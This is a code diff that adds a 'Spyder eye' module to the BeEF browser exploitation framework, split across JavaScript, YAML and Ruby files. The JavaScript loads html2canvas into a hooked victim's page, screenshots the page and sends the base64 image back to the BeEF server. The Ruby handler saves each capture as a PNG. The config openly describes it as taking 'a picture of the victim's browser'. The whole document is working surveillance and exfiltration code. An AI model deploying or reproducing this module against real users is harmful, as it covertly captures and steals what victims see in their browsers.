adding generic module to take screenshoots with canvas

modules/browser/spyder_eye/command.js

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+
+
+beef.execute(function() {
+
+	var script = document.createElement( 'script' );
+	script.type = 'text/javascript';
+	script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/html2canvas.js';
+	$j("body").append( script );
+
+	html2canvas(document.body, {
+	  onrendered: function(canvas) {
+
+        var img = canvas.toDataURL("image/png");
+        var output = img.replace(/^data:image\/(png|jpg);base64,/, "");
+
+    	beef.net.send("<%= @command_url %>", <%= @command_id %>, output);
+    	//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
+
+	  }
+	});				
+
+
+});

modules/browser/spyder_eye/config.yaml

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+beef:
+    module:
+        spyder_eye:
+            enable: true
+            category: "Browser"
+            name: "Spyder eye"
+            description: "This module takes a picture of the victim's browser."
+            authors: ["preth00nker"]
+            target:
+                working:
+                    IE:
+                        min_ver: 9
+                        max_ver: latest
+                    FF:
+                        min_ver: 3
+                        max_ver: latest
+                    C:
+                        min_ver: 1
+                        max_ver: latest
+                    S:
+                        min_ver: 6
+                        max_ver: latest3
+                    O:
+                        min_ver: 12
+                        max_ver: latest
+                not_working: ["All"]

modules/browser/spyder_eye/module.rb

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+class Spyder_eye < BeEF::Core::Command
+require 'base64'
+
+  def pre_send
+      BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/html2canvas', 'js')
+  end
+
+	def post_execute 
+    content = {}
+    content['results'] = @datastore['results']
+    save content
+    #I would prefer use common logger but I haven't find the way to do it
+      print "---------[ preth00nker says ]----------\n"
+      print " look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png\n"
+    #e.g. BeEF::Core::Logger.instance.register("spyder eye"," look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png")
+    File.open("SeO_"+@datastore['cid']+'.png', 'wb') do |file| 
+      file.write(Base64.decode64( content['results'] ) ) 
+    end
+		BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')
+	end
+
+end
+